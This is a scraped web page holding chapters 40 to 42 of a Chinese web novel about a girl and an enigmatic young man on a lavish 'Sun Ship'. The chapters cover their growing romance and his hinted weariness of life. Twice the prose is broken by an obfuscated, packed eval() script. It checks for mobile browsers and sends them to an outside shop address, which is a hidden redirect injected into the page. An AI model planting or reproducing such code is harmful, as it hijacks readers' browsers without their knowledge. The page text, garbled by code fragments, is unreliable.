$(''#content'').append('' 了。在小小的月亮船不断划开海浪靠近庞大的太阳船的过程里,黄昏散去,太阳船上一点点地亮起了灯火。 如此恢宏富丽的航船,灯火如星火一般灿烂。再映在黑下去的海水里,那种灿烂仿佛又翻了一倍,水里水外都绮丽得不似人间。 - ——可那种绮丽,不过是一层漂亮的皮囊。 绚烂灯火之下,太阳船并非人间乐土。 月亮小船靠上太阳船的时候,温知和看到另一种远航归来的船只也靠了过来。她见过那种船,是在交易岛上,“税官”们用来运输大熊星座号贡品的船。 所有贡品都是下级船只上最好的资源,船民们生产了它们,自己却没资格享用,只能恭恭敬敬一箱一箱地送到这里来。 算算时间,大熊星座号还没到下一次上贡的时候,眼前的贡品们大概来自同它一样每天飘在海上、以星座命名的其他船只。 温知和看见太阳船的“税官”们用运输机器把贡品箱子一只只抬上了甲板,然后开箱,然后登记里面的内容,然后——开始把箱子里的东西往海里倒。 他们挑挑拣拣的,只有最好的才能留下来,稍有残缺便会直接扔掉。 ——那些在贫穷陈旧的下级船只上人们只能看、不能碰的珍稀资源,在这里,不过是些让人看不上眼的废物。 填满了一整艘运输船上的贡品,最后留下来的恐怕都装不满一只小箱子。如此看来,这艘庞大无匹的太阳船,究竟是盘剥了多少船只的供养,才能维持这般富丽堂皇的景象? 温知和想起在大熊星座号上被船民们引以为傲的几个人。要抓她的哈撒,马德鲁的姐姐黑月亮,在周围人心目中都是极出众的人物。可他们带着大家的赞誉与羡慕来到太阳船上,最后的下场却都是死于非命。 也许太阳船从无数艘绕着它航行的船只上榨取到的并不仅仅是物质财富。还有人。小地方的天之骄女、天之骄子来到这里,不过是这片辉煌无比的海上天堂里的消耗品。 一只手忽然捂住了她到处打量的视线。 温知和讷讷地说,“对不起……” 青年说过不许探索。 她被蒙着眼睛,什么也看不见,只能在他的带领下继续往前走。而他什么也没有说。 住处到了。 门前摆了一只布袋子。青年先是检查了里面的内容,又仔细探查了门前、门上的种种迹象,确认一切安全之后才开了门,带温知和走进去。 袋子里是她先前用平板买的东西。 他领她到沙发上坐下。“先换药。” “谢谢。” 他动作很快,不过几分钟的事,她腿上新的纱布已经缠好了。 青年道,“点吃的吧。吃完饭我要出去。” “……是因为下午耽误了吗?” “有一点。问题不大。” 才这么两句话,他就看了两次表。知道他赶时间,温知和火速点了些简单的食物,机器人很快就送货上门了。 青年基本上没吃什么,在餐桌边坐了几分钟就走了。 屋子里安静下来。 温知和自己一个人吃着东西,不知怎么的忽然意识到,刚才他留下来等机器人送餐,并不是因为他自己要吃晚饭。而是因为她需要。 他只是不放心留她一个人在屋子里开门。 她走到窗边,看向外面的景象。寂寂的海面上,太阳船的灯火富丽辉煌,底下不知藏了多少盘根错杂的秘辛。 不知道独身在外的青年在这个奇异的海上世界里要应付什么样的危险、处理多少棘手的难题……但他留给她的这个小小的房间永远是安全的。 40. 第四十章 青年回来的时候已经很晚了,屋里早关了灯,几乎是一片黑。除了关门时无可避免的轻微声响,他在黑暗里的动作几乎没声息。 因此,当他走到沙发前,看到上面被月光照亮的人影,反倒是那个人影被他吓了一跳。 “哇啊——” 温知和差点跳起来。她熄了灯以后一直坐在沙发上昏昏欲睡。 青年倒是很淡定,一面脱着西装外套,一面道,“还没睡?” “等你嘛。” “为什么?” “闲得无聊。” “早点休息吧。洗漱过了么?” “嗯。” “好。” 说着他就要转身走了,温知和想也没想,一抬手就抓住了他的领带。他停了动作,黑暗里看不见表情。 温知和抽了抽鼻子,似乎在空气里嗅到了什么。她把领带往自己这边拉了拉,青年很配合,朝这边俯身靠了过来。 温知和道,“……你喝酒了?” “嗯。” “闻上去,”她又抽了抽鼻子,“好像还不少。” “嗯。” “还有点烟味。” “我没抽。别人的。” “真的好重的酒味啊。” “所以我现在要去洗澡了,”他趁她一不注意,把领带抽了回去,“先睡吧。” 她侧过身去,看不见他的人,只听脚步声朝着洗漱间去了,继而是开门声、关门声,然后,玻璃门里的灯光亮了,铺在地上是一层黯淡的橘黄色。 她慢慢起身,停了停,朝那边走过去。但只走了几步而已,仍在黑暗里,没有踩上那抹光亮。 洗漱间里传来淋浴水声。 温知和一下子回过神来,转身跳回了沙发。坐在角落,双腿曲起,手抱着膝盖,像个团子。 十几分钟后,青年洗完澡出来,擦着头发,看到的就是这个团子。 “怎么不去床上?”他说。 “那是你的床嘛……” “也不是没睡过吧。” “……又让你睡沙发多不好意思。” “谁说我要睡沙发?” “啊?” 温知和脑子里浮现出一个想法,整个人愣了一下。 但青年接下来说的是,“这边有个书房,里面也有床。” “……噢。” “好了,去睡觉吧。” 他把擦头发的毛巾随手搁在沙发背上,绕到前面来,朝她伸出手。 月光就从他身后照过来。 看不清他的脸,但他整个人的轮廓蒙着一层光,显得很温柔。 温知和拉住青年伸过来的手。有那么几秒钟,青年一直没动,好像想说些什么。但最后什么也没有说,只是微微用力,把她拉了起来。 卧室那张床也就几步路而已。 温知和爬上去躺进被子里的时候,青年的手机忽然响了,他接了电话,跟那边交谈几句,开始找东西。 “介意我开灯吗?”他说。 “没事。” 于是他开了一盏暖黄色的床头灯。借着昏暗的灯光,他在床头附近的柜子、抽屉里翻找着什么,动作不急不缓,动静很轻。 温知和一直没说话,就侧躺在被子,静静地看着。 不知是时间太晚的缘故,还是方才那个有人喝酒有人抽烟的场合耗费精力,青年脸上隐隐有一种倦怠感,回电话的时候,声音也总是往下压的。 他刚刚才洗的澡,头发和身上都没完全擦干。有水珠从发尾掉落在脖颈上,缓缓往下,滚过锁骨附近那一道道狰狞的陈年疤痕。 它们被打湿了。颜色变得比平时更深了些。 她一直盯着看,青年察觉到她视线,也时不时便偏过脸来看她一两眼。 不多时,他在抽屉深处翻出一份文件,又和那边说了些什么,电话便挂断了。他只是把它翻了翻,便又把它放回了原位。 他伸手要去关灯,却看见她揉着眼睛坐了起来。 “怎么了?” “好渴啊。” “睡觉前喝水?” “就一点点。” “行。坐着,我去倒。” “我自己去就好了……” 她翻身下了床。不过,路还是要青年带的。冰箱并不远,就在他今晚准备歇息的书房旁边。 冰箱门打开,一阵冷气从里面散出来。外面没开灯,周身的照明,就只有不到一人高的冰箱里这点光。 青年个子高,光照不到他脸上,仿佛他藏在阴影里。 他说,“有气泡的还是没气泡的?” “没气泡的。” 他拿了一瓶出来,又拧开了瓶盖,“这个吧。” “谢谢,”她接过去轻轻地抿了一口,然后,鼻子又在周围嗅了嗅,“好像还是有酒味。你喝了多少啊,今天晚上?” “忘了。” 她踮起脚尖,凑得更近,闻得更仔细,“三瓶?” “你指哪一种?” “……你喝的哪一种?” “都有点吧。” “听说混着喝很容易醉。”她顿了顿,“你现在是醉着的吗?” “你猜?” 她把脚尖踮得更高,好看清青年的脸。除了视线一动不动地一直盯着她,他看上去和平时没什么不一样。 温知和道,“你再开口说句话。” “说什么?” “又闻到了……”为了凑得近,她下巴已经快磕在他锁骨上了,“喝这么多,我猜你醉了。” “你知道我是怎么想的吗?” “怎么想的?” 他低头近距离看着她睁不开的眼睛和站不稳的身体,道,“我们两个里,你比较像醉的那一个。” “我这是困了……” 人困的时候,身体的各个部位都像是在摸鱼,腿站不稳,眼睛睁不开,声音嗡嗡的,脑子也不怎么转。 青年把头又低了低,好让她不必把脚垫得这么高,海拔可以回到有冰箱光照明的位置上去。这样他就可以看清她的脸。 他说,“困了就去睡觉吧。” 因为离得近,夜也深了,他声音放得很轻。 “你喝了酒,明天会不会头疼啊?”她说。看上去是个关心人的问题,但因为困,她说话时的语气带着困惑,仿佛是在探索一个数学问题。 他笑了笑,“你不好好睡觉,明天会不会头疼啊?” “嗯……可能吧……” 温知和打了个呵欠,身体跟着晃了晃,青年怕她摔倒,伸手扶在她腰后。 可是这样一来…… 姿势就太暧昧了。 冰箱前面的两个人几乎像是抱在一起,冰箱里的光从那边照过来,在地上投下长长的、令人遐想的影子。 温知和望着青年的眼睛。他的眼睛生得漂亮,底下仿佛总含着一种生命力。 他很近。 刚洗完澡的身体上散发着热度,隔着一层衣物,传到她身上。微卷的黑头发上有一滴水掉下来,落在她脖颈,顺着皮肤滑下去,痒痒的。 这几秒钟,像极了亲吻的前兆。 但青年拉开了距离。他仿若无事地关上了冰箱门,灯没了,周围一切回到了黑暗里。 “喝完了就走吧。”他说。 他语气那么平稳。 温知和把矿泉水瓶子攥在手里,嗯了一声。 他便带着她往回走。两个人的脚步声响在寂夜里,很快就停了。卧室里的灯还亮着,昏黄,黯淡,仿佛不过是在名为黑夜的水潭里吹出来的一阵涟漪。 青年把温知和送到,说了一句早点睡,转身就要走。 她却忽然拉住他的手,然后,不知从哪里来的勇气—— 踮起脚对着他吻了上去。 是真的碰到了。他的嘴唇有点凉,但触感柔软。她睁着眼睛停在这儿,不知道下一步该怎么办。 居然是真的碰到了。 她屏着呼吸,小心地往前,把吻加重一点点。他没有躲。凉而软的触感更真切了,有酒的味道。 她吻了一下,又一下,他一直低着眼睛看着她。 她心跳加快,呼吸变乱,渐渐有点站不稳。一不小心,她身体晃了一下。 一只极有力量的手臂揽上了她的后腰,一下子收紧,拉近了两个人之间最后的距离。他开始主动。嘴唇近了又近,他用舌尖轻轻撬开了她的牙齿,那一瞬间,她听见自己急促的呼吸声。 大脑有点空白了。好像别的事情都不见了,什么也感知不到,只有接触着他的地方在发热,越来越烫。 青年渐渐熟练起来。一只手仍揽着她的腰,另一只手慢慢抚上她的头发。 昏黄的卧室灯就在不远处一直照着,两个人吻在一起的影子长长的,到了远处,仿佛是一起融进了黑暗里。 这个吻终于停了。 他仍贴着她的额头,尚未平复的呼吸扑在她皮肤上,她不知道为什么忽然有点想哭,望着他就嗡嗡地说,“我喜欢你。” 青年垂了垂眼睛,手指在她发间摩挲一阵,然后慢慢抬起眼看着她,笑了,“我知道。” “那你……” 他在她额头上落下一个吻。“我爱你,知和。” 这是他第一次叫她的名字。温知和下意识地把他抱得更紧,脸埋在他怀里,过了好一阵子,出了一个嗯字。 青年笑起来,温热的手指在她发间摩挲。“好了。真的该睡了。” - 温知和睡了个好觉,醒来的时候,天已经大亮了。青年并不在屋子里,客厅桌子上留了一张字条,说他中午会回来,旁边还有给她当早餐的白面包和牛奶。 她坐在窗边吃东西,一会儿想着昨天的事出神,一会儿转头往窗外看一看。仍是好天气,晴空万里,无边的大海上波浪起起伏伏,闪着光。 波浪倒也是种计时的方式。一起,一浮,些许时间便过去了。 她盯着波浪看了半天,觉得它们差不多该过完了半辈子,抬头再一看桌上的小钟,才过了不到半个小时。 手里的面包也吃完了。但,离他回来还有很久。 为了打发时间,只好在屋子里到处走走逛逛,看看这个、看看那个。当然她很尊重别人的私人空间,只看已经摆在台面上的东西,不翻找任何一个抽屉、柜子。 一面看,一面想象着青年在这里的生活, 客厅里几乎没有多余的东西。每一张桌子都各有功能,摆在上面的钟表、纸笔、电脑、空调遥控器,也都是生活必需品。这也许说明他在客厅里一般只做正事,闲暇时在这里耗费的时间不多。 卧室里的生活气息便多了些。床头正对着窗户,睡在这里,每天都可以被阳光叫醒。椅背上有随手摆的衣服,窗户旁有绿植。不过,也没什么非常特殊的。 温知和最后走进青年昨天晚上睡的那间小书房的门。这里面不大,但明亮干净,有书柜、书桌,舷窗底下还有一张额外的小桌子和木椅子。 看上去,他的闲暇时光大多便是在这里度过的。书桌上有看了一半的书,还有一盘国际象棋。窗边的小桌上有烟灰缸和一盒刚开的烟,沐浴在阳光里,好像一幅静物画。 她望望书桌,想象他坐在后面看书时的神情。又望望那张小桌,想象他点着烟坐在那里,不抽,只看着烟一点点燃尽的模样。 他到底……是什么样的人呢?她至今还是看不清。 温知和无意中看见书柜顶端有个小摆件。那是一个巴掌大的航船模型,看样子,就是太阳船。船身上刻着一行字。 对于马来语,她最熟悉的文字,大概就是这行字了。 ——“当太阳从大海深处升起……” - 中午青年回来的时候,两个人一起吃饭。 温知和说,“我上午逛了你的几个房间。” 青年望着她,被逗乐似的笑了笑,但也没戳破,顺着她的话就说下去了,“挺好的。” “我没翻你的东西啊,就是随便看了看。很有礼貌吧?” “不礼貌也无所谓。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149473|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……哎?万一我翻到什么不该知道的机密……” “那种东西早就转移走了。” “那要是翻到你个人的什么黑历史……” 她本来也就是这么一说,旨在表明自己对房屋主人个人隐私的尊重,说完了还继续低头吃东西呢。 可青年的反应竟然是一句慢悠悠的——“能翻到算你厉害。” 温知和咬着筷子,莫名有一种被挑战了的感觉。 青年道,“怎么了?” 温知和想了想,郑重地说,“彩头是什么?” “想打赌?” “你不敢么?” 青年要是直接说一个敢或者不敢,倒也就罢了。偏偏他听了这句话,脸上露出回想些什么的神色,隔了一阵才说,“也可以。” 仿佛这屋子里的确有什么破绽。就等着她去找。 温知和完全被勾起来了,兴致勃勃,连筷子都放了。双手不自觉地搭在一起,眼睛亮晶晶的,“彩头是什么?” 青年气定神闲。“你想要什么?” “我想要……我没想好,”她顿了顿,露出更期待的表情,“你能给什么?” “要点菜单啊?” “是啊。” “行吧,”他靠在椅背上思索着,“黄金?珠宝?古玩字画?” “呃……” “不感兴趣?” “有没有什么和你相关的东西?” “你是指什么?” “比如你今年多大、是什么星座,还有……你叫什么名字。” 青年的目光不偏不倚地落在温知和脸上。阳光从他身后照过来,使他左耳下那枚破碎的红色耳钉愈发熠熠生辉。 它像个谜团。他也是。 青年终于开口,“一个问题。” “嗯?” “你可以问一个问题,”他说,“如果你赢了的话。” 温知和把身体朝着他倾了倾,“什么都可以?不涉及船上的什么机密……只和你有关。什么都可以?” “可以。你先赢了再说吧。” “好!” “你要是输了呢?” “……啊?” 温知和居然愣了一下。她脑子里就没有浮现过这个可能性。 青年道,“如果你输了,你要给我什么?” “呃……你想要什么?” “不知道。” “我能给你……我能给你……”她嘴里念着,脑子里想着,但什么也想不到。她在这艘船上一无所有。自己手里都是空的,又怎么拿得出东西来给别人? 青年道,“那就先欠着吧。” “万一是我赢就不用欠了。” “那你要好好努力啊。” 他已经吃完了。而她刚才光顾着说话,碗里还是满的。她一面吃东西一面看他,不知怎么的,一直都想笑。 下午到了月亮船上,青年仍教温知和开船。她只当是来玩乐的,他却教得相当认真,连昨天说过的东西都特意挑出来复习了一遍。 她是优等生,学得快,记得牢,没多久就找回了昨天的感觉,船开得很稳。 青年坐在旁边看着,有时候眼睛微微垂下去,看不出在想什么。 - 次日。 没有闹钟,尽管温知和前一天晚上打定主意要早些起床,可真睁眼的时候,青年已经又出门了。 屋里是空的,和前一天一样,桌上有他留的纸条。说是中午会回来,旁边还有给她做早餐的甜甜圈和咖啡。 咖啡仍还温热着。他走的不久。 她三两下吃完东西填饱了肚子,便兴致勃勃地翻箱倒柜起来。从小书房开始。他在这里消磨的时间最长,留下的线索一定最多。 可一个又一个抽屉打开了,里面大多是看不明白的马来语文件。有的在空白处还有青年随手做的笔记,鲜红的,像一道道语义封印。 温知和并不气馁,接着翻。 从小书房到客厅,无非是文件、纸笔、杂志、普通摆件、老式CD唱片之类,他在这里的生活简单得过了头。 她最后进的卧室。 这一方小小的天地,在过去的许多年里是他的休憩之所。这几天都归了她住。睡他的床,盖他的被子,每天早晨睁眼时往窗外一看,看的也是他看过的景色。 她倒是翻了不少东西出来,剃须刀、耳机、领带夹,普普通通的生活用品,透露着房屋主人的审美趣味和生活点滴。但完全说不上“黑历史”。 那么她说要打赌的时候,他那种若有回想的神色…… 温知和:“……难道是在演我。” 她趴在床上,伸手去够最后一个床头柜的抽屉。拉开来,里面还挺满,大多是叠得整齐的旧T恤衫,五颜六色,花得像调色盘。 和他平时的风格一点都不像。 温知和心想,该不会他也有过不知道自己喜欢什么、适合什么的青春期,所以胡乱买过这么多吧? 一堆T恤中间露出透明文件袋的一角。温知和轻轻一抽,东西就拿出来了。 偌大的文件袋里就装了一样东西,还不到巴掌大,又薄。 是一张火车票。 她把它取出来放在眼前看。印着马来语的火车票,仿佛某种纪念物,即使上面的许多信息看着像天书,但发车时间还是能看明白的。 是七月二十三日早上六点的火车。 温知和想,这应该是从槟城到玻璃市的火车。因为那时她也在这班火车上。一整节车厢里空空荡荡,中间就他们两个人。她当时算是出过糗,他们之间没说几句话。 她把火车票翻过面来,看到那上面有一张很久之前画下的墨蓝色钢笔人像。 笔触有些潦草,但画的显然是个女孩子。 人靠在窗边,一只手支着下巴在打盹,长长的头发垂在肩上,有一种很柔软的感觉。 船窗外的阳光落在这张车票上,仿佛穿透了纸面的界限,落了进去。在执笔人眼里,那时的场景或许就是这样闪着光的吧。 41. 第四十一章 青年回来的时候问,“有收获么?” 温知和说,“我找到了你的车票。” “什么车票?” 他下意识地问了一句。 温知和用两根手指比划了一下车票的大小,“就是七月份去玻璃市的那张。” “噢。怎么了?” 她眼睛盯着他,手从口袋里把车票摸出来递过去。他接了,这才看到几个月前信手画的钢笔小头像,笑了。 “第一面就喜欢你,这也不算黑历史吧?” “……当然不算。” 温知和说这话的时候,是反着坐在沙发上的,面朝着沙发背这边,两只手交叠着倚在上面,下巴磕在手上。像沙发上长出来的一个小动物,没长全,只能看见手和脑袋。 她仍看着他,微微抿着嘴。 青年一只手撑在她旁边,为了和她说话,身体微微俯下去。他另一只手把玩着手里的旧车票。“看上去有点不高兴啊?” 温知和移开视线,看向一边,“……说那种话的时候应该郑重一点吧。” “什么话?” “就是,第一面就……喜欢我。那种话。” “真话怎么说都无所谓吧?”青年手指间夹着车票,来回地看,“一加一等于二,横着写,竖着写,影响真假么?” 她还是看着旁边不看他,嘴仍微微抿着,却根本忍不住笑。 他说喜欢她。那么自然。 因此,即使输了个幼稚的赌,好像也无所谓,根本不影响好心情。 温知和很大方地说,“现在开始我欠你一个。”她顿了顿,又想起之前用来交贡品的金花生,声音一低,“……两个。我会还的。” 青年道,“好啊。” “下午还是去坐船吗?” “今天下午不去了。”他把车票递还给她,开始脱身上的外套,“我下午有事。明天再去吧。” “噢。” 就这样,一连好几天都是这么过的。她总是在屋子里等他。他在外面那个错综复杂的世界里做什么,她从来不问,从来都什么也不知道。 要是他有空,就会在下午带她去开船玩,一遍又一遍地教着各种操作细节和驾驶技巧,直到太阳一点点落下去,海面上的光变成金红色。 要是他没空,她就只好自己在屋子里找事情打发时间。坐在窗边,一个人看着茫茫的大海,直到太阳一点点落下去,海面上的光变成金红色。 无聊是有的。但她很听话,从不自己乱跑。 而且,无聊总是短暂的。或早或晚,他总会回来。只要他回来,所有的等待便不再空白,而是某种值得期待的序曲。 有时门外会传来敲门声。有时那敲门声甚至还很激烈。她从不应答,只在他回来之后提上一两句。他从来都不会意外,最多回一个嗯字。 日复一日,看似一再重复的种种事项。这艘太阳船,也似乎永远是金碧辉煌的模样。 可有什么正悄然发生着变化。 温知和摸不准,心里却一直记得青年不久前的承诺。 ——她很快就可以回家了。 距离约定的时间越来越近,一定,有什么就要发生了。 - 这天晚上,青年回来得比以往任何一天都晚。 温知和一直等,不知不觉就在沙发上坐着睡着了,连青年什么时候回来的都不知道。半夜里醒来时,发觉自己已经在床上了。大概是他把她抱过来的。 她有点想去卫生间。下了床,推开门出去,外面客厅黑漆漆的,没人。她不自觉地放轻脚步,走到小书房门外去。 里面很安静。她猜他已经睡了。 她转身离开。打着呵欠从卫生间出来的时候,身旁的黑暗里忽然响起一阵动静。大门毫无预兆地从外面打开了。 温知和吓了一跳,差点转身跑回卫生间里躲起来。 好在那边的黑暗里,是青年的声音响起来。“吓到你了?” “你这么晚还出去啊?” “外面站了一会儿。” 他走过来,寂寂的空气里,她闻到那种熟悉的烟味。原来是又去点烟了。 她站在过道里,恰好挡住了他的去路。青年没说什么,上手就把她抱了起来,温知和小小一声惊呼,抱紧了他的脖子。 青年道,“送你回房间?” “我鞋子掉了。” “明天再捡。” 到了卧室门口,青年停下来,让温知和自己伸手去开门,然后抱她走进去。床也就几步路远。他把她放下去,却没走,手撑在床头,看了她一阵。 最后居高临下地说了一句,“晚安。” 温知和捉住青年的手,叫了他一声,“哎。” “干嘛?” 她没说话,手却轻轻用力,把他往自己拉过来。青年俯下身来。 黑暗里,温知和摸索着抱住青年的脖子,微微抬起头,找他的嘴唇。他低低地呼出一口气,一侧身,上了床,把她抱在怀里吻了下来。 一个绵长的吻。她的手指不自觉地在他发间摩挲,偶尔会碰到他左耳下的那枚耳钉。冰凉的触感,被皮肤逐渐磨得温热。 温知和破天荒地尝到一点烟味。 “你今天抽烟了?” “尝了一口。” “抽烟不好的。” “我知道。” “所以以后不会再尝了吧?” 他笑了笑。“是啊。” 他抱着她躺了一会儿。在她渐渐来了睡意的时候,他忽然说,“你想不想出去走走?” “……现在?” “嗯。” 温知和打了个呵欠。 青年道,“那就算了。早点睡吧。” 温知和道,“我要去。” “你困了。” 她声音仍有点嗡嗡的,却是重复,“我要去。” 青年被她呼出来的气息弄得皮肤上有点痒,嗯了一声,抱她下床。然后才想起来她没鞋子,于是又一路抱回大门口,摸着黑找了鞋,温知和终于下了地。 大门打开,咸湿的晚风扑面而来。这么晚了,船上依然很热闹。大地上有不夜城,这艘船,大概就是海上的不夜船了。 青年揽着温知和的腰,一路避开人群,往顶层走。 这里相对安静。夜空之下,趴在栏杆上望下去,满船灯火明亮,一簇一簇,金碧辉煌,竟比天上的星星还灿烂。 青年修长的手指在栏杆上有一下没一下地敲着,轻微的震动顺着栏杆传到温知和身上,有一种痒。 她抬头去看天上。 北斗七星。自从他教了她怎么看它的形状和位置,每次抬头看向天空,她的视线总是很快就能定位到它身上。 不过,面对夜色中的无尽星河,人们最经常想到的大概仍是那个古老的故事。 ——据说人死后会变成星星。 肉身不在,灵魂长存,星光闪闪烁烁,是故人的眼睛。 不知怎么的,两个人有一搭没一搭的闲聊,话题不知不觉就到了这上面来。 温知和说起小时候,人会变成星星的故事是奶奶讲给她听的,后来老人家的病情来得又急又快,她几乎都没还反应过来,就成了没有奶奶的孩子。 奶奶去世之前没有告诉她自己会是哪一颗星星,所以仰望星穹时,她会觉得或许哪一颗都是。 青年低头沉默一阵,“是啊。” 温知和又道,“不过如果我死了的话……” “你这个年纪,说这些太早了吧。” “万一呢,人总会死的嘛。如果我死了的话,”她手指对着天空晃了晃,最终指着天上最亮的那颗星星,“我要做那颗星星。” “金星?” “嗯,”她靠在栏杆上,手捧着脸,“特别亮,大家想见我的话,一抬头就能看见。而且金星离地球最近……要是以后航天技术发展了,说不定还能互相串个门。” “很方便。” “是啊。然后,特别偶尔的时候,可能还能表演一下金星凌日,给大家制造一点天文娱乐活动。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157518|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好尽职的星星。” “不过听说金星没有卫星,经常一个人在天上转应该会比较无聊……我得托梦让朋友们给我烧个卫星来……” 她说着说着还就没完了,仿佛金星变成了什么岗位。说得再离奇,青年每一句话都能接上。 等她说完了,他有一阵子没说话。然后,才抬起头顺着她的视线看向星穹,说,“如果是我的话……” 温知和道,“你会怎么样?” “我希望不会变成星星。” “……哎?”她稍微想了想,“那,你想变成什么?” “什么都不要,”他说,“什么也不要剩下。不要像星星一样依然照在天上,也不要像风一样还在到处吹。不要变成树。不要变成花。也不要变成鬼魂。” “为什么?” 她转头,看见他依然看着天空,只是这里似乎光线不足,莫名,显得眼睛里晦暗。 他低声,用很缓慢的语气说,“因为我已经很累了。” - 两个人回去的时候,夜色已更深了,太阳船上依然灯火通明,空气里弥散着烟、酒和另一些更加纸醉金迷的气息。 温知和始终低着头,仿佛从脸庞两侧垂下去的长发是某种屏障,可以将自己与这个古怪的地方隔绝开来。 无数的声音,隔着一层头发,从耳畔拂过。马来语的交谈声,哄笑声,脚步声,酒杯碰撞声,吐出烟圈的声音,手枪上膛的声音,玻璃破碎的声音,扇耳光的声音……偶尔夹杂着青年的声音。 他有时停下脚步,与人周旋。他总是那么游刃有余,好像没有什么事情做不到。可谁也不是天生下来就无所不能,温知和想,走到今天这一步,他究竟经历过什么呢?他好像把秘密全都封存在了自己的皮囊里,谁也看不见,摸不着。 终于到了住处,一进门,温知和又听见咕噜咕噜的声音。 来自她的肚子。 青年道,“这个点就不吃夜宵了吧?” “我饿了。” “现在把肚子装饱,你打算几点钟睡觉?” “我饿了。” “吃什么?” 温知和没答,自己趴到沙发上去拿了平板,相当熟练地打开了线上餐厅。灯也没开,屏幕的光照在她脸上,映出一双相当专注的眼睛。 青年在她旁边蹲下来。 温知和道,“吃夜宵是坏习惯。” 青年道,“你也知道啊?” “我已经说过我自己了。所以你不能再说我了。” 青年好像说了一句类似于少吃一点之类的话,温知和没听见,因为屏幕上蓦地划到了她最喜欢的东西之一。 三文鱼。 浅橘色的肥美鱼肉,一道道白色横纹理,边上还有一叠芥末和酱油。 青年道,“有人说过你贪吃么?” “我爸经常这么说。不过也不能怪他,”她还挺得意的,“因为我只会吃,不会做。在家里一饿了就缠着他去下厨房。有一回他实在烦了,就问,‘一天到晚就知道吃,什么时候改得了啊’。我说那得到死为止吧。” 她耸耸肩,下了单。太阳船上送吃的很快,过不了几分钟,空虚的肚子就能被美味的三文鱼填满。 不过,又隐约有一种酸涩的情绪。 ——爸爸。 ——妈妈。 好久不见了。 以前一家三口晚饭时坐在一起看电视,央视偶尔会有那种纪录片,讲述孩子被拐卖、孩子重病没救回来、孩子出去玩下落不明……之后的父母。当时妈妈的共情力就特别高,明明屏幕上讲的是别人的故事,自己还能掉眼泪。 她消失几个月,不知道家里现在是什么情况。 温知和眼眶有点红。 青年忽然在她额头落下一个吻。“知和。” 他叫她的名字时,语气总是很低缓。 温知和嗯了一声。 他说,“我爱你。” 他顿了顿,用更低的声音说,“也是到死为止吧。” 42. 第四十二章 这天早上的阳光,比往常昏暗了些。 温知和昨晚吃了宵夜,睡得很迟。醒来时,一看桌上的闹钟,已经上午十点多了。睡眼惺忪地走出门去,青年破天荒地仍在客厅里。 他背着阳光靠坐在沙发上,手里拿着一本杂志。明明是相当寻常的姿态,左耳下的那抹赤红色却不知为什么比平日里更艳了些,像一滴活的血,将掉未掉。 青年道,“早。” 温知和伸了个可有可无的懒腰,整个人仍是昏昏沉沉的,“早。” “早餐在桌子上,尽量多吃一点。” “……噢。” 餐桌上除了面包牛奶,还有一个大布黑袋子,袋口用绳子扎着,里面装的鼓鼓囊囊。温知和伸了一根手指戳了一下,里面的事物各有形状,猜不出是什么。 她猜大概是青年自己的东西。 她没多想,乖乖地吃完了早餐。困意渐消了。擦手的时候才发觉刚才屋子里一直安静得过分,连翻书页的声音也没有。 回头一看,坐在沙发上的青年果然一直看着她。逆着光,看不清神色。 温知和道,“我吃完了。” 她也不知道为什么自己伴着这句话的姿势会是举起双手、张开手掌,仿佛在向他证明东西真的全吃了,手里什么都不剩下。 青年合上杂志。“走吧。” 他过来提走了那个大黑布袋子。见她头发上有无意中弄到的面包残屑,顺手给她拂下来了。 温知和凑近他,道,“你昨天晚上没睡吗?” “很明显吗?” “没……”她观察着他的脸,“没有黑眼圈,没有肿眼泡,没有痘痘,看上去和平时差不多……但……嗯……”她斟酌着措辞,“气场感觉不一样了?” 说不出为什么,他沉静了不少。 青年道,“是么?那可不是好迹象啊。”他揉了揉自己的太阳穴,又活动了一下脖子。忍俊不禁似的,眼里带了点笑,“现在呢?” “好像好点了……” 他俯身靠近她,在她太阳穴上一吻。“现在呢?” 他离得很近。由于姿势的缘故,温知和在下面看不见他的表情。但他呼出来的气息扑在皮肤上痒痒的,她开始笑,“嗯,嗯,差不多了。我们去哪里啊?” “跟我走就好了。” 两个人出了门。 太阳船上的喧嚷声一如既往,热闹得像是永远不会疲倦。 温知和一路低着头,只盼着像往常一样能早点到目的地。在这些曲曲折折、人来人往的走廊上、甲板上,每一秒都让人觉得危机四伏。 偏偏青年不知被什么人耽搁了,在一个最是拥挤喧哗的交叉口停了很久。那些人和他用马来语交谈着,气氛很轻快,偶尔还笑。可就是一直不停。 温知和能感觉到青年揽在她腰上的力道始终没变过,牢牢地锁着她。 她的视线几乎贴着地面,来来往往的人、货物,不时在视野中游过。穿高跟鞋的人、穿黑色皮鞋的人、穿人字拖的人、木箱子、铁箱子、带轮子的箱子……忽然,一个大木箱子吸引了她的注意力。 那木箱本身并没有什么特殊的,半人高,用封条封着。但侧面贴着一面纸旗,上面画了个星点图。 她认识那个图形。 ——是大熊星座。 大概,是从大熊星座号上来的货物。那木箱子被人推着往前,才几秒钟便离开了她的视野。 她想起马德鲁,想起教室里的孩子们,想起总是一身紫色的戴尔蒙徳管事,想起陈旧的船上熙熙攘攘的食堂、走廊和甲板。那里的人们,以后应该不会见到了。 放在她腰上的那只手终于微微加了些力道。“走了。”青年说。 绕了几个弯,走走停停,两个人终于到了月亮船渡口。今天这里很冷清,海面上也是干干净净的,只有他们这么一艘船。 